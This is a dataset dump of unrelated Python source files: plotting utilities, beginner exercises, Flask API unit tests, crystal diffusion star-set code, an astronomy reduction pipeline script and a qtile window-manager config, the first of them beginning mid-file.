height_ratios=[3,1])\r\n\t\r\n\txvalue = unp.nominal_values(x)\r\n\tyvalue = unp.nominal_values(y)\r\n\txerror = unp.std_devs(x)\r\n\tyerror = unp.std_devs(y)\r\n\t\r\n\tif range:\r\n\t\tX = np.linspace(range[0], range[1], 1000)\r\n\telse:\r\n\t\tX = np.linspace(xvalue.min(), xvalue.max(), 1000)\r\n\tY = func(X, *unp.nominal_values(params))\r\n\tY1 = func(X, *(x.n + x.s for x in params))\r\n\tY2 = func(X, *(x.n - x.s for x in params))\r\n\t\r\n\tresidual = yvalue - func(xvalue, *unp.nominal_values(params))\r\n\t\r\n\tax1 = plt.subplot(gs[0])\r\n\tax1.errorbar(xvalue, yvalue, xerr=xerror, yerr=yerror, fmt='s', color=\"black\")\r\n\tline, = ax1.plot(X, Y, \"-\", color=\"red\")\r\n\tax1.fill_between(X, np.minimum(Y1, Y2), np.maximum(Y1, Y2), color=line.get_color(), alpha=0.1)\r\n\r\n\tax2 = plt.subplot(gs[1], sharex=ax1)\r\n\tcombined_error = np.sqrt(np.power(xerror*_derivative(func, xvalue, *unp.nominal_values(params)),2) + np.power(yerror, 2))\r\n\tax2.errorbar(xvalue, residual, yerr=combined_error, fmt='s', color=\"black\")\r\n\tline = ax2.axhline(0, color=\"red\")\r\n\tax2.fill_between(X, np.minimum(Y1, Y2) - Y, np.maximum(Y1, Y2) - Y, color=line.get_color(), alpha=0.1)\r\n\t\r\n\tax2.set_xlabel(xlabel)\r\n\tax1.set_ylabel(ylabel)\r\n\tax2.set_ylabel(r\"$\\Delta$\" + ylabel)\r\n\t\r\n\tax1.grid(True)\r\n\tax2.grid(True)\r\n\t\r\n\tif range:\r\n\t\tax1.set_xlim(range[0], range[1])\r\n\t\r\n\treturn ax1, ax2\r\n\t","sub_path":"positronlifetime/ufit.py","file_name":"ufit.py","file_ext":"py","file_size_in_byte":3126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"542594017","text":"n = int(input('digite um numero: '))\n\np = n-1\n\nif n==1 or n==0:\n fat = 1\nelse:\n fat = n\n\nwhile p>=1:\n fat = fat*p\n p -= 1\n\nprint('o fatorial de {} é {}'.format(n, fat))","sub_path":"pythondesafios/desafio060.py","file_name":"desafio060.py","file_ext":"py","file_size_in_byte":181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"577475803","text":"class Node():\n def __init__(self):\n self.value = 0\n self.prev = None\n self.nextN = None\n\n\ndef link(a, b):\n if a.value > b.value:\n a.nextN = b\n b.prev = a\n else:\n b.nextN = a\n a.prev = b\n\n\naNode = Node()\nprint (aNode.value)\n","sub_path":"gramma/basicDS/pBiLinTable.py","file_name":"pBiLinTable.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"495249652","text":"from app import app\nfrom flask import json, jsonify\nfrom random import randint \nimport unittest\n\n\nclass FlaskTestCase(unittest.TestCase):\n\n\t#Test conversations endpoint correct behaviour\n\tdef test_conversations_correct(self):\n\t\ttester = app.test_client(self)\n\t\tresp = tester.get('/conversations/1234') # I have written a sample conversation with this id in the db.\n\t\tself.assertEqual(resp.status_code, 200)\n\t\tdata = json.loads(resp.data)\n\t\tself.assertEqual(data['id'], '1234')\n\n\t#Test conversations endpoint incorrect behaviour: not used conversation_id\n\tdef test_conversations_incorrect(self):\n\t\ttester = app.test_client(self)\n\t\tresp = tester.get('/conversations/234') # This conversation_id has not been used.\n\t\tself.assertEqual(resp.status_code, 404)\n\t\tdata = json.loads(resp.data)\n\t\tself.assertEqual(data['id'], '234')\n\t\tself.assertEqual(data['messages'], \"Error: No conversation has started with this id!\")\n\n\t#Test conversations endpoint incorrect behaviour: incorrect parameter\n\tdef test_conversations_incorrect2(self):\n\t\ttester = app.test_client(self)\n\t\tresp = tester.get('/conversations/a234') \n\t\tself.assertEqual(resp.status_code, 404)\n\n\n\t#Test messages endpoint correct behaviour\n\tdef test_messages_correct(self):\n\t\ttester = app.test_client(self)\n\t\treq = {\"conversation_id\": \"1234\",\"message\": \"knock knock!\", \"sender\": \"edward\"}\n\t\tresp = tester.post('/messages', data=json.dumps(req), content_type='application/json')\n\t\tdata = json.loads(resp.data)\n\t\tself.assertEqual(resp.status_code, 201)\n\t\tself.assertTrue(data['successful'])\n\t\tself.assertEqual(data['message'][\"sender\"], \"edward\")\n\t\tself.assertEqual(data['message'][\"message\"], \"knock knock!\")\n\n\n\t#Test messages endpoint incorrect behaviour: missing fields\n\tdef test_messages_incorrect(self):\n\t\ttester = app.test_client(self)\n\t\treq = {\"conversation_id\": \"1234\", \"sender\": \"edward\"}\n\t\tresp = tester.post('/messages', data=json.dumps(req), content_type='application/json')\n\t\tself.assertEqual(resp.status_code, 400)\n\t\tdata = json.loads(resp.data)\n\t\tself.assertEqual(data[\"successful\"], False)\n\n\t#Test messages endpoint incorrect behaviour: invalid id\n\tdef test_messages_incorrect2(self):\n\t\ttester = app.test_client(self)\n\t\treq = {\"conversation_id\": \"a1234\", \"sender\": \"edward\", \"message\": \"hi\"}\n\t\tresp = tester.post('/messages', data=json.dumps(req), content_type='application/json')\n\t\tself.assertEqual(resp.status_code, 400)\n\t\tdata = json.loads(resp.data)\n\t\tself.assertEqual(data[\"successful\"], False)\n\n\t#Test the process of creating a new conversation\n\tdef test_new_conversation(self):\n\t\ttester = app.test_client(self)\n\n\t\t#start a new conversation\n\t\tx = randint(1, 9999) #theres a good chance this id hasnt been used\n\t\tx = str(x)\n\t\treq = {\"conversation_id\": x,\"message\": \"Hello ShiHan!\", \"sender\": \"Edward\"}\n\t\tresp = tester.post('/messages', data=json.dumps(req), content_type='application/json')\n\t\tdata = json.loads(resp.data)\n\t\tself.assertEqual(resp.status_code, 201)\n\t\tself.assertTrue(data['successful'])\n\t\tself.assertEqual(data['message'][\"sender\"], \"Edward\")\n\t\tself.assertEqual(data['message'][\"message\"], \"Hello ShiHan!\")\n\n\t\t#check the log for that conversation\n\t\tresp2 = tester.get('/conversations/' + x)\n\t\tdata2 = json.loads(resp2.data)\n\t\tself.assertEqual(resp2.status_code, 200)\n\t\tself.assertEqual(data2['id'], x)\n\t\tself.assertEqual(data2['messages'][0][\"sender\"], \"Edward\")\n\t\tself.assertEqual(data2['messages'][0][\"message\"], \"Hello ShiHan!\")\n\n\nif __name__ == \"__main__\":\n\tunittest.main()","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"216503686","text":"#-- coding: utf-8 --\n# from collections import ChainMap\n# import os, argparse\n\n# # 构造缺省参数:\n# defaults = {\n# 'color': 'red',\n# 'user': 'guest'\n# }\n\n# # 构造命令行参数:\n# parser = argparse.ArgumentParser()\n# parser.add_argument('-u', '--user')\n# parser.add_argument('-c', '--color')\n# namespace = parser.parse_args()\n# command_line_args = { k: v for k, v in vars(namespace).items() if v }\n\n# # 组合成ChainMap:\n# combined = ChainMap(command_line_args, os.environ, defaults)\n\n# # 打印参数:\n# print('color=%s' % combined['color'])\n# print('user=%s' % combined['user'])\n\nimport matplotlib.pyplot as plt\nimport math\nimport numpy as np\n\ndef motorPower_Sline(lenth, start, stop, flexible, index):\n # lenth = 100 # The length of the S-curve. The number of sampling points\n # start = 1000 \n # stop = 0\n # flexible = 6 # The larger the stretch transformation of the curve, the larger the compression represents the most powerful. The ideal S-curve value is 4-6.\n\n if(index > lenth) :\n index = lenth\n\n num = lenth / 2\n melo = flexible * (index - num) / num\n deno = 1.0 / (1 + math.exp(-melo))\n current = start - (start - stop)*deno\n print(current)\n return int(current)\n\n\n# print(x)\n\nlenth = 400\nstart = 500\nstop = 1450\nflexible1 = 4\n\nopen(\"aaa.txt\",\"w\").write(\"\")\n\nwith open('aaa.txt', 'a') as f:\n i = 1\n while i <= lenth:\n f.write(str(motorPower_Sline(lenth, start, stop, flexible1, i))+',')\n if i % 10 == 0:\n f.write('\\n')\n if i % 100 == 0:\n f.write('\\n') \n i += 1\n\n\n\n# flexible0 = 2\n# flexible2 = 6\n# flexible3 = 8\n# flexible4 = 10\n\n# y0 = []\n# y1 = []\n# y2 = []\n# y3 = []\n# y4 = []\n# x = np.linspace(1, lenth)\n# for i in x:\n# y0.append(9000000 / motorPower_Sline(lenth, start, stop, flexible0, i))\n# y1.append(9000000 / motorPower_Sline(lenth, start, stop, flexible1, i))\n# y2.append(9000000 / motorPower_Sline(lenth, start, stop, flexible2, i))\n# y3.append(9000000 / motorPower_Sline(lenth, start, stop, flexible3, i))\n# y4.append(9000000 / motorPower_Sline(lenth, start, stop, flexible4, i))\n\n# plt.figure(1)\n# plt.title('S-Curve line' )\n# plt.plot(x, y0, label='S-flex = 2')\n# plt.plot(x, y1, label='S-flex = 4')\n# plt.plot(x, y2, label='S-flex = 6')\n# plt.plot(x, y3, label='S-flex = 8')\n# plt.plot(x, y4, label='S-flex = 10')\n# plt.legend()\n# plt.show()","sub_path":"sline.py","file_name":"sline.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"67253243","text":"import numpy as np\nimport onsager.crystal as crystal\nfrom jumpnet3 import *\nfrom states import *\nfrom representations import *\n\nclass StarSet(object):\n \"\"\"\n class to form the crystal stars, with shells indicated by the number of jumps.\n Almost exactly similar to CrystalStars.StarSet except now includes orientations.\n The minimum shell (Nshells=0) is composed of dumbbells situated atleast one jump away.\n \"\"\"\n def __init__(self,crys,chem,jumpnetwork,iormixed,Nshells,originstates=False):\n \"\"\"\n Parameters:\n crys and chem - Respectively, the crystal and sublattice we are working on\n jumpnetwork - pure dumbbell jumpnetwork with which the star set is to be made.\n Nshells - the number of shells to be constructed. minimum is zero.\n fam_mixed = flat list of (i,or) tuples for mixed dumbbells\n \"\"\"\n self.crys = crys\n self.chem = chem\n self.iormixed = iormixed\n self.dbstates = jumpnetwork[1]\n self.jumpnetwork = jumpnetwork\n self.jumplist = [j for l in jumpnetwork[0] for j in l]\n self.jumpset = set(self.jumplist)\n self.jumpindices = []\n self.Nshells = Nshells\n count=0\n for l in jumpnetwork[0]:\n self.jumpindices.append([])\n for j in l:\n self.jumpindices[-1].append(count)\n count+=1\n self.generate(Nshells,originstates)\n self.mixedset = [x for l in self.mstates.symorlist for x in l]\n\n def generate(self,Nshells,originstates):\n z=np.zeros(3).astype(int)\n if Nshells<1:\n Nshells = 0\n startshell=set([])\n stateset=set([])\n #build the starting shell\n for j in self.jumplist:\n #Build the first shell from the jumpnetwork- The initial dumbbell is in the origin, so assign it as the solute location.\n pair = SdPair(j.state1.i,j.state1.R,j.state2)\n # NEED ORIGIN STATES FOR GF-EXPANSION - LOOK AT DALLAS'S NOTES\n # redundant rotation jumps are taken care of in jumpnet3\n # if not originstates and pair.is_zero():\n # continue\n startshell.add(pair)\n stateset.add(pair)\n lastshell=startshell\n nextshell=set([])\n #Now build the next shells:\n for step in range(Nshells):\n for j in self.jumplist:\n for pair in lastshell:\n try:\n pairnew = pair.addjump(j)\n except:\n continue\n # if not originstates:\n # if pairnew.is_zero():\n # continue\n nextshell.add(pairnew)\n stateset.add(pairnew)\n lastshell = nextshell\n nextshell=set([])\n self.stateset = stateset\n #group the states by symmetry - form the starset\n self.starset=[]\n hashset=set([])\n for state in self.stateset:\n if not state in hashset:\n newstar=set([])\n for g in self.crys.G:\n newstate = state.gop(self.crys,self.chem,g)\n if not newstate in hashset and newstate in self.stateset:\n newstar.add(newstate)\n hashset.add(newstate)\n self.starset.append(list(newstar))\n self.mixedstartindex = len(self.starset)\n #Now add in the mixed states\n self.mstates = mStates(self.crys,self.chem,self.iormixed)\n self.mixedstateset=set([])\n for l in self.mstates.symorlist:\n newlist=[]\n for tup in l:\n db=dumbbell(tup[0],tup[1],z)\n mdb = SdPair(tup[0],z,db)\n newlist.append(mdb)\n self.mixedstateset.add(mdb)\n self.starset.append(newlist)\n\n def jumpnetwork_omega1(self):\n\n jumpnetwork=[]\n jumptype=[]\n starpair=[]\n jumpset=set([])#set where newly produced jumps will be stored\n for jt,j_indices in enumerate(self.jumpindices):\n for j in [self.jumplist[q] for q in j_indices]:\n #these contain dumbell->dumbell jumps\n for pair in self.stateset:\n try:\n pairnew=pair.addjump(j)\n except:\n continue\n # if pairnew.is_zero():#consider only non to-origin jumps\n # continue\n if not pairnew in self.stateset:\n continue\n #convert them to pair jumps\n jpair = jump(pair,pairnew,j.c1,j.c2)\n if not jpair in jumpset and not -jpair in jumpset: #see if the jump has not already been considered\n newlist=[]\n for g in self.crys.G:\n jnew1 = jpair.gop(self.crys,self.chem,g)\n db1new = self.dbstates.gdumb(g,jpair.state1.db)\n db2new = self.dbstates.gdumb(g,jpair.state2.db)\n state1new = SdPair(jnew1.state1.i_s,jnew1.state1.R_s,db1new[0])\n state2new = SdPair(jnew1.state2.i_s,jnew1.state2.R_s,db2new[0])\n jnew = jump(state1new,state2new,jnew1.c1*db1new[1],jnew1.c2*db2new[1])\n if not jnew in jumpset:\n newlist.append(jnew)\n newlist.append(-jnew)\n jumpset.add(jnew)\n jumpset.add(-jnew)\n if (newlist[0].state1.is_zero() and newlist[0].state2.is_zero()):\n #remove redundant rotations\n newnewlist=set([])\n for j in newlist:\n j_equiv = jump(j.state1,j.state2,-1*j.c1,-1*j.c2)\n if not j_equiv in newnewlist:\n newnewlist.add(j)\n newlist=list(newnewlist)\n jumpnetwork.append(newlist)\n jumptype.append(jt)\n return jumpnetwork, jumptype\n\n def jumpnetwork_omega2(self,cutoff,solt_solv_cut,closestdistance):\n jumpnetwork = mixedjumps(self.crys,self.chem,self.mixedset,cutoff,solt_solv_cut,closestdistance)\n return jumpnetwork\n\n def jumpnetwork_omega34(self,cutoff,solv_solv_cut,solt_solv_cut,closestdistance):\n #building omega_4 -> association - c2=-1 -> since solute movement is tracked\n #cutoff required is solute-solvent as well as solvent solvent\n alljumpset_omega4=set([])\n symjumplist_omega4=[]\n alljumpset_omega3=set([])\n symjumplist_omega3=[]\n symjumplist_omega34_all=[]\n alljumpset_omega43_all=set([])\n for p_pure in self.stateset:\n if p_pure.is_zero(): #Specator rotating into mixed does not make sense.\n continue\n for p_mixed in self.mixedstateset:\n for c1 in [-1,1]:\n j = jump(p_pure,p_mixed,c1,-1)\n if dx_excess(self.crys,self.chem,j.state1,j.state2,cutoff):continue\n if not j in alljumpset_omega4:#check if jump already considered\n #if a jump is in alljumpset_omega4, it's negative will have to be in alljumpset_omega3\n if not collision_self(self.crys,self.chem,j,solv_solv_cut,solt_solv_cut):\n if not collision_others(self.crys,self.chem,j,closestdistance):\n newset=set([])\n newnegset=set([])\n new_allset=set([])\n for g in self.crys.G:\n jnew = j.gop(self.crys,self.chem,g)\n db1new = self.dbstates.gdumb(g,j.state1.db)\n state1new = SdPair(jnew.state1.i_s,jnew.state1.R_s,db1new[0])\n jnew = jump(state1new,jnew.state2,jnew.c1*db1new[1],-1)\n if not jnew in newset:\n newset.add(jnew)\n newnegset.add(-jnew)\n new_allset.add(jnew)\n new_allset.add(-jnew)\n alljumpset_omega4.add(jnew)\n symjumplist_omega4.append(list(newset))\n symjumplist_omega3.append(list(newnegset))\n symjumplist_omega43_all.append(list(new_allset))\n # newnegset=set([])\n # jneg=-j\n # for g in self.crys.G:\n # jnew = jneg.gop(self.crys,self.chem,g)\n # db2new = self.dbstates.gdumb(g,jneg.state2.db)\n # state2new = SdPair(jnew.state2.i_s,jnew.state2.R_s,db2new[0])\n # jnew = jump(jnew.state1,state2new,-1,jnew.c2*db2new[1])\n # if not jnew in newnegset:\n # newnegset.add(jnew)\n # alljumpset_omega3.add(jnew)\n # symjumplist_omega3.append(list(newnegset))\n\n return symjumplist_omega43_all,symjumplist_omega3,symjumplist_omega4\n","sub_path":"stars.py","file_name":"stars.py","file_ext":"py","file_size_in_byte":9684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"141598795","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n#Martin Sparre, DARK, 2nd November 2011\n#version 5.9.0\n\nfrom PipelineManager import *\nimport glob\nimport numpy as np\n\nVIS = PipelineManager()\nVIS.SetOutputDir('Output')\n\n\n############################################################\n### XSH_SCIRED_SLIT_NOD\n############################################################\n\nEsorexName='xsh_scired_slit_nod'\nSOFFileName1 = EsorexName\n\nVIS.DeclareNewRecipe(EsorexName)\nVIS.DeclareRecipeInputTag(SOFFileName1, \"OBJECT_SLIT_NOD_VIS\", \"1..n\", \"any\", \"100k\")\nVIS.DeclareRecipeInputTag(SOFFileName1, \"SPECTRAL_FORMAT_TAB_VIS\", \"1\", \"-\", \"-\")\nVIS.DeclareRecipeInputTag(SOFFileName1, \"MASTER_FLAT_SLIT_VIS\", \"1\", \"match\", \"match\")\nVIS.DeclareRecipeInputTag(SOFFileName1, \"MASTER_BIAS_VIS\", \"1\", \"match\", \"match\")\nVIS.DeclareRecipeInputTag(SOFFileName1, \"ORDER_TAB_EDGES_SLIT_VIS\", \"1\", \"match\", \"match\")\nVIS.DeclareRecipeInputTag(SOFFileName1, \"XSH_MOD_CFG_OPT_2D_VIS\", \"1\", \"-\", \"-\")\nVIS.DeclareRecipeInputTag(SOFFileName1, \"MASTER_BP_MAP_VIS\", \"?\", \"match\", \"match\")\nVIS.DeclareRecipeInputTag(SOFFileName1, \"DISP_TAB_VIS\", \"?\", \"1x1\", \"400k\")\nVIS.DeclareRecipeInputTag(SOFFileName1,\"FLUX_STD_CATALOG_VIS\", \"?\", \"-\" ,\"-\")\nVIS.DeclareRecipeInputTag(SOFFileName1,\"RESPONSE_MERGE1D_SLIT_VIS\", \"?\", \"-\" , \"-\")\nVIS.DeclareRecipeInputTag(SOFFileName1,\"ATMOS_EXT_VIS\", \"?\", \"-\" , \"-\")\n\n############################################################\n### XSH_SCIRED_SLIT_STARE\n############################################################\n\nEsorexName='xsh_scired_slit_stare'\nSOFFileName2 = EsorexName\n\nVIS.DeclareNewRecipe(EsorexName)\nVIS.DeclareRecipeInputTag(SOFFileName2, \"OBJECT_SLIT_STARE_VIS\", \"1..n\", \"any\", \"100k\")\nVIS.DeclareRecipeInputTag(SOFFileName2, \"SPECTRAL_FORMAT_TAB_VIS\", \"1\", \"-\", \"-\")\nVIS.DeclareRecipeInputTag(SOFFileName2, \"MASTER_FLAT_SLIT_VIS\", \"1\", \"match\", \"match\")\nVIS.DeclareRecipeInputTag(SOFFileName2, \"MASTER_BIAS_VIS\", \"1\", \"match\", \"match\")\nVIS.DeclareRecipeInputTag(SOFFileName2, \"ORDER_TAB_EDGES_SLIT_VIS\", \"1\", \"match\", \"match\")\nVIS.DeclareRecipeInputTag(SOFFileName2, \"XSH_MOD_CFG_OPT_2D_VIS\", \"1\", \"-\", \"-\")\nVIS.DeclareRecipeInputTag(SOFFileName2, \"MASTER_BP_MAP_VIS\", \"?\", \"match\", \"match\")\nVIS.DeclareRecipeInputTag(SOFFileName2, \"DISP_TAB_VIS\", \"?\", \"1x1\", \"400k\")\nVIS.DeclareRecipeInputTag(SOFFileName2,\"FLUX_STD_CATALOG_VIS\", \"?\", \"-\" ,\"-\")\nVIS.DeclareRecipeInputTag(SOFFileName2,\"RESPONSE_MERGE1D_SLIT_VIS\", \"?\", \"-\" , \"-\")\nVIS.DeclareRecipeInputTag(SOFFileName2,\"ATMOS_EXT_VIS\", \"?\", \"-\" , \"-\")\n\n############################################################\n### INPUT-FILES: TO BE MODIFIED\n############################################################\n\n## FOLDER WITH IMAGES\nfiles = glob.glob('target/*') # /target\n\n##\n## NODDING MODE\n##\nVIS.EnableRecipe(SOFFileName1)\nVIS.SetFiles('OBJECT_SLIT_NOD_VIS', files)\n\n##\n## STARING MODE\n##\n#VIS.EnableRecipe(SOFFileName2)\n#VIS.SetFiles('OBJECT_SLIT_STARE_VIS', files)\n\n############################################################\n\n# Static CALIBs\nVIS.SetFiles('MASTER_BIAS_VIS',['static_calibs/MASTER_BIAS_VIS.fits'])\nVIS.SetFiles('MASTER_FLAT_SLIT_VIS',['static_calibs/MASTER_FLAT_SLIT_VIS.fits'])\nVIS.SetFiles('ORDER_TAB_EDGES_SLIT_VIS',['static_calibs/ORDER_TAB_EDGES_SLIT_VIS.fits'])\nVIS.SetFiles('XSH_MOD_CFG_OPT_2D_VIS',['static_calibs/XSH_MOD_CFG_OPT_2D_VIS.fits'])\nVIS.SetFiles('RESPONSE_MERGE1D_SLIT_VIS',['static_calibs/RESPONSE_MERGE1D_SLIT_VIS.fits'])\nVIS.SetFiles('DISP_TAB_VIS',['static_calibs/DISP_TAB_VIS.fits'])\n\n#REF-files:\nVIS.SetFiles(\"SPECTRAL_FORMAT_TAB_VIS\",[\"static_calibs/SPECTRAL_FORMAT_TAB_VIS.fits\"])\nVIS.SetFiles(\"ARC_LINE_LIST_VIS\",[\"static_calibs/ThAr_vis_custom.fits\"])\nVIS.SetFiles(\"XSH_MOD_CFG_TAB_VIS\",[\"static_calibs/XS_GMCT_110710A_VIS.fits\"])\nVIS.SetFiles(\"FLUX_STD_CATALOG_VIS\",['static_calibs/xsh_star_catalog_vis.fits'])\nVIS.SetFiles(\"ATMOS_EXT_VIS\",['static_calibs/xsh_paranal_extinct_model_vis.fits'])\nVIS.SetFiles(\"SKY_LINE_LIST_VIS\",['static_calibs/SKY_LINE_LIST_VIS.fits'])\nVIS.SetFiles('MASTER_BP_MAP_VIS',['static_calibs/BP_MAP_RP_VIS_1x2.fits'])\n\n#Run\nVIS.RunPipeline()\n\n# Convert 1D file to ASCII\nout1d = glob.glob(\"Output/*FLUX_MERGE1D_VIS*.fits\")\nfitsfile = fits.open(out1d[0])\nwave = 10.*(np.arange((np.shape(fitsfile[0].data)[0]))*fitsfile[0].header['CDELT1']+fitsfile[0].header['CRVAL1'])\nnp.savetxt(\"Output/VIS_ASCII1D_spectrum.dat\", list(zip(wave, fitsfile[0].data, fitsfile[1].data)), fmt='%1.4e %1.4e %1.4e')\n\n\n\n\n\n","sub_path":"VIS/VIS.py","file_name":"VIS.py","file_ext":"py","file_size_in_byte":4430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"600960297","text":"#!/bin/env python\n# coding: utf-8\n\nfrom libqtile.command import lazy\nfrom libqtile import layout, bar, widget, hook\ntry:\n from libqtile.manager import Key, Group\nexcept ImportError:\n from libqtile.manager import Key, Group\nfrom libqtile.manager import Click, Drag, Screen\n\nsup = \"mod4\"\nalt = \"mod1\"\nctrl = \"mod3\"\n\nkeys = [\n# Key([sup], \"Return\", lazy.spawn(\"urxvt -ls +sb -bg black -fg white\")),\n Key([sup], \"Return\", lazy.spawn(\"gnome-termial\")),\n Key([sup], \"Space\", lazy.nextlayout()),\n]\n\nmouse = [\n Click(\"Button1\", lazy.window.bring_to_front()),\n Drag([sup], \"Button1\", lazy.window.set_position_floating(),\n start=lazy.window.get_position()),\n Drag([sup], \"Button3\", lazy.window.set_size_floating(),\n start=lazy.window.get_size()),\n]\n\n\n","sub_path":"os/linux/qtile/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"541400258","text":"class FiboIterable:\r\n def __init__( self, seq ):\r\n self.seq = seq\r\n def __next__( self ):\r\n if len( self.seq ) > 0:\r\n return self.seq.pop(0)\r\n raise StopIteration()\r\n\r\nclass Fibo:\r\n def __init__( self, maxnum=1000 ):\r\n self.maxnum = maxnum\r\n def __iter__( self ):\r\n nr1 = 0\r\n nr2 = 1\r\n seq = []\r\n while nr2 <= self.maxnum:\r\n nr3 = nr1 + nr2\r\n nr1 = nr2\r\n nr2 = nr3\r\n seq.append( nr1 )\r\n return FiboIterable( seq )\r\n\r\nfseq = Fibo()\r\nfor n in fseq:\r\n print( n, end=\" \" )\r\nprint()\r\nfor n in fseq:\r\n print( n, end=\" \" )","sub_path":"Intro to CS with Python/src/homework/listing2305.py","file_name":"listing2305.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"46111707","text":"import matplotlib.pyplot as plt\nimport seaborn as sns \nimport numpy as np \nimport pandas as pd \nimport squarify\nfrom matplotlib import rcParams\n\n\ndef bokeh_style():\n\n '''\n Formats bokeh plotting enviroment. Based on the RPgroup PBoC style.\n '''\n theme_json = {'attrs':{'Axis': {\n 'axis_label_text_font': 'Helvetica',\n 'axis_label_text_font_style': 'normal'\n },\n 'Legend': {\n 'border_line_width': 1.5,\n 'background_fill_alpha': 0.5\n },\n 'Text': {\n 'text_font_style': 'normal',\n 'text_font': 'Helvetica'\n },\n 'Title': {\n #'background_fill_color': '#FFEDC0',\n 'text_font_style': 'normal',\n 'align': 'center',\n 'text_font': 'Helvetica',\n 'offset': 2,\n }}}\n\n return theme_json\n\n# +\n# ------- PLOTTING FUNCTIONS -------------------------\n\n\ndef set_plotting_style():\n \n \"\"\"\n Plotting style parameters, based on the RP group. \n \"\"\" \n \n tw = 1.5\n\n rc = {'lines.linewidth': 2,\n 'axes.labelsize': 18,\n 'axes.titlesize': 21,\n 'xtick.major' : 16,\n 'ytick.major' : 16,\n 'xtick.major.width': tw,\n 'xtick.minor.width': tw,\n 'ytick.major.width': tw,\n 'ytick.minor.width': tw,\n 'xtick.labelsize': 'large',\n 'ytick.labelsize': 'large',\n 'font.family': 'sans',\n 'weight':'bold',\n 'grid.linestyle': ':',\n 'grid.linewidth': 1.5,\n 'grid.color': '#ffffff',\n 'mathtext.fontset': 'stixsans',\n 'mathtext.sf': 'fantasy',\n 'legend.frameon': True,\n 'legend.fontsize': 12, \n \"xtick.direction\": \"in\",\"ytick.direction\": \"in\"}\n\n\n\n plt.rc('text.latex', preamble=r'\\usepackage{sfmath}')\n plt.rc('mathtext', fontset='stixsans', sf='sans')\n sns.set_style('ticks', rc=rc)\n\n #sns.set_palette(\"colorblind\", color_codes=True)\n sns.set_context('notebook', rc=rc)\n\n rcParams['axes.titlepad'] = 20 \n\n\ndef ecdf(x, plot = None, label = None):\n '''\n\tCompute and plot ECDF. \n\n\t----------------------\n\tInputs\n\n\tx: array or list, distribution of a random variable\n \n plot: bool, if True return the plot of the ECDF\n\n label: string, label for the plot\n\t\n\tOutputs \n\n\tx_sorted : sorted x array\n\tecdf : array containing the ECDF of x\n\n\n '''\n x_sorted = np.sort(x)\n \n n = len (x)\n \n\n ecdf = np.linspace(0, 1, len(x_sorted))\n\n if label is None and plot is True: \n \n plt.scatter(x_sorted, ecdf, alpha = 0.7)\n\n \n elif label is not None and plot is True: \n \n plt.scatter(x_sorted, ecdf, alpha = 0.7, label = label)\n \n return x_sorted, ecdf\n\n\ndef make_treemap(x_keys, x_counts):\n \n '''\n \n Wrapper function to plot treemap using the squarify module. \n \n -------------------------------------------\n x_keys = names of the different categories \n x_counts = counts of the given categories\n \n '''\n \n norm = mpl.colors.Normalize(vmin=min(x_counts), vmax=max(x_counts))\n colors = [mpl.cm.Greens(norm(value)) for value in x_counts]\n \n plt.figure(figsize=(14,8))\n squarify.plot(label= x_keys, sizes= x_counts, color = colors, alpha=.6)\n plt.axis('off');\n\n \n\n\ndef make_radar_chart(x_keys, x_counts):\n \n '''\n Wrapper function to make radar chart.\n \n ------------------------------------------\n \n x_keys = names of the different categories \n x_counts = counts of the given categories \n \n '''\n \n categories = list(x_keys)\n N = len(categories)\n \n if N > 30: \n \n print('The categories are too big to visualize in a treemap.')\n \n else: \n\n values = list(x_counts)\n values.append(values[0])\n values_sum = np.sum(values[:-1])\n\n percentages= [(val/values_sum)*100 for val in values]\n\n #angles\n angles = [n / float(N) * 2 * pi for n in range(N)]\n angles += angles[:1]\n\n sns.set_style('whitegrid')\n\n # Initialize figure\n plt.figure(1, figsize=(7, 7))\n\n # Initialise the polar plot\n ax = plt.subplot(111, polar=True)\n\n # Draw one ax per variable + add labels labels yet\n plt.xticks(angles[:-1], categories, color='grey', size=12)\n\n #Set first variable to the vertical axis \n ax.set_theta_offset(pi / 2)\n\n #Set clockwise rotation\n ax.set_theta_direction(-1)\n\n #Set yticks to gray color \n\n ytick_1, ytick_2, ytick_3 = np.round(max(percentages)/3),np.round((max(percentages)/3)*2),np.round(max(percentages)/3)*3\n\n plt.yticks([ytick_1, ytick_2, ytick_3], [ytick_1, ytick_2, ytick_3],\n color=\"grey\", size=10)\n\n plt.ylim(0, int(max(percentages)) + 4)\n\n\n # Plot data\n ax.plot(angles, percentages, linewidth=1,color = 'lightgreen')\n\n # Fill area\n ax.fill(angles, percentages, 'lightgreen', alpha=0.3); \n\n\n\n\ndef plot_distplot_feature(data, col_name):\n \n \"\"\"\n Get a histogram with the y axis in log-scale\n \"\"\"\n \n plt.hist(data[col_name].values, bins = int(data.shape[0]/10000),\n color = 'dodgerblue')\n \n plt.yscale('log')\n plt.xlabel(col_name)\n plt.ylabel('frequency')\n\n\ndef plot_boxplot_feature(data, col_name, hue_col_name):\n \n \n \"\"\" \n \n Get a boxplot with the variable in the x axis, in log scale. \n \n You also need to provide a hue column name. \n \n \"\"\"\n sns.boxplot(data = data, x = col_name, y = hue_col_name, palette = 'RdBu')\n \n plt.xscale('log')\n\n\n\ndef palette(cmap = None):\n\n\tpalette = sns.cubehelix_palette(start = 0, rot=0, hue = 1, light = 0.9, dark = 0.15)\n\t\n\n\tif cmap == True:\n\t\tpalette = sns.cubehelix_palette(start = 0, rot=0, hue = 1, light = 0.9, dark = 0.15, as_cmap = True)\n\n\treturn palette 